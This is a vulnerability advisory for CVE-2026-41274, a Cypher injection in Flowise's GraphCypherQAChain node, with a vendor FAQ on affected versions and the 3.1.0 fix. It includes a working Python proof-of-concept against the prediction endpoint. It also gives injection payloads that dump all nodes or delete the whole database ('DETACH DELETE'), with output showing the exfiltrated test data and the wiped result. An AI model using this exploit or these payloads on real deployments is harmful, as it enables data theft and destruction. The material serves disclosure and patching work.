CVE-2026-41274

The GraphCypherQAChain node forwards user-provided input directly into the Cypher query execution pipeline without proper sanitization. An attacker can inject arbitrary Cypher commands that are executed on the underlying Neo4j database, enabling data exfiltration, modification, or deletion.

Vulnerability Details

Prerequisites

To exploit this vulnerability, the following conditions must be met:

1. Neo4j Database: A Neo4j instance must be connected to the Flowise server
2. Vulnerable Chatflow Configuration:
   • A chatflow containing the Graph Cypher QA Chain node
   • Connected to a Chat Model (e.g., ChatOpenAI)
   • Connected to a Neo4j Graph node with valid credentials
3. API Access: Access to the chatflow's prediction endpoint (/api/v1/prediction/{flowId})

Root Cause

In GraphCypherQAChain.ts, the run method passes user input directly to the chain without sanitization:

async run(nodeData: INodeData, input: string, options: ICommonObject): Promise<string | object> {
    const chain = nodeData.instance as GraphCypherQAChain
    // ...
    
    const obj = {
        query: input  // User input passed directly
    }
    
    // ...
    response = await chain.invoke(obj, { callbacks })  // Executed without escaping
}

Proof of Concept

poc.py

#!/usr/bin/env python3
"""
POC: Cypher injection in GraphCypherQAChain (CWE-943)

Usage:
  python poc.py --target http://localhost:3000 --flow-id <FLOW_ID> --token <API_KEY>
"""

import argparse
import json
import urllib.request
import urllib.error

def post_json(url, data, headers):
    req = urllib.request.Request(
        url,
        data=json.dumps(data).encode("utf-8"),
        headers={**headers, "Content-Type": "application/json"},
        method="POST",
    )
    with urllib.request.urlopen(req, timeout=15) as resp:
        return resp.status, resp.read().decode("utf-8", errors="replace")

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--target", required=True, help="Base URL, e.g. http://host:3000")
    ap.add_argument("--flow-id", required=True, help="Chatflow ID with GraphCypherQAChain")
    ap.add_argument("--token", help="Bearer token / API key if required")
    ap.add_argument(
        "--injection",
        default="MATCH (n) RETURN n",
        help="Cypher payload to inject",
    )
    args = ap.parse_args()

    payload = {
        "question": args.injection,
        "overrideConfig": {},
    }

    headers = {}
    if args.token:
        headers["Authorization"] = f"Bearer {args.token}"

    url = args.target.rstrip("/") + f"/api/v1/prediction/{args.flow_id}"

    try:
        status, body = post_json(url, payload, headers)
        print(body if body else f"(empty response, HTTP {status})")
    except urllib.error.HTTPError as e:
        print(e.read().decode("utf-8", errors="replace"))
    except Exception as e:
        print(f"Error: {e}")

if __name__ == "__main__":
    main()

Test Environment Setup

1. Start Neo4j with Docker:

docker run -d \
  --name neo4j-test \
  -p 7474:7474 \
  -p 7687:7687 \
  -e NEO4J_AUTH=neo4j/testpassword123 \
  neo4j:latest

2. Create test data (in Neo4j Browser at http://localhost:7474):

CREATE (a:Person {name: 'Alice', secret: 'SSN-123-45-6789'})
CREATE (b:Person {name: 'Bob', secret: 'SSN-987-65-4321'})
CREATE (a)-[:KNOWS]->(b)

3. Configure Flowise chatflow (see screenshot)

Exploitation Steps

# Data destruction (DANGEROUS)
python poc.py --target http://127.0.0.1:3000 \
  --flow-id <FLOW_ID> --token <API_KEY> \
  --injection "MATCH (n) DETACH DELETE n"

Evidence

Cypher injection reaching Neo4j directly:

$ python poc.py --target http://127.0.0.1:3000 --flow-id bbb330a5-... --token ...
{"text":"Error: All sub queries in an UNION must have the same return column names (line 2, column 16 (offset: 22))\n\"RETURN 1 as ok UNION CALL db.labels() YIELD label RETURN label LIMIT 5\"\n                ^",...}

The error message comes from Neo4j, proving the injected Cypher is executed directly.

Data destruction confirmed:

$ python poc.py ... --injection "MATCH (n) DETACH DELETE n"
{"json":[],...}

Empty result indicates all nodes were deleted.

Sensitive data exfiltration:

$ python poc.py ... --injection "MATCH (n) RETURN n"
{"json":[{"n":{"name":"Alice","secret":"SSN-123-45-6789"}},{"n":{"name":"Bob","secret":"SSN-987-65-4321"}}],...}

An attacker with access to a vulnerable chatflow can:

1. Data Exfiltration: Read all data from the Neo4j database including sensitive fields
2. Data Modification: Create, update, or delete nodes and relationships
3. Data Destruction: Execute DETACH DELETE to wipe entire database
4. Schema Discovery: Enumerate database structure, labels, and properties

Kodem intelligence

1. What is CVE-2026-41274? CVE-2026-41274 is a high-severity security vulnerability in flowise (npm), affecting versions <= 3.0.13. It is fixed in 3.1.0.
2. Which packages are affected by CVE-2026-41274?
   • flowise (npm) (versions <= 3.0.13)
   • flowise-components (npm) (versions <= 3.0.13)
3. Is there a fix for CVE-2026-41274? Yes. CVE-2026-41274 is fixed in 3.1.0. Upgrade to this version or later.
4. Is CVE-2026-41274 exploitable, and should I be worried? Whether CVE-2026-41274 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether CVE-2026-41274 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix CVE-2026-41274?
   • Upgrade flowise to 3.1.0 or later
   • Upgrade flowise-components to 3.1.0 or later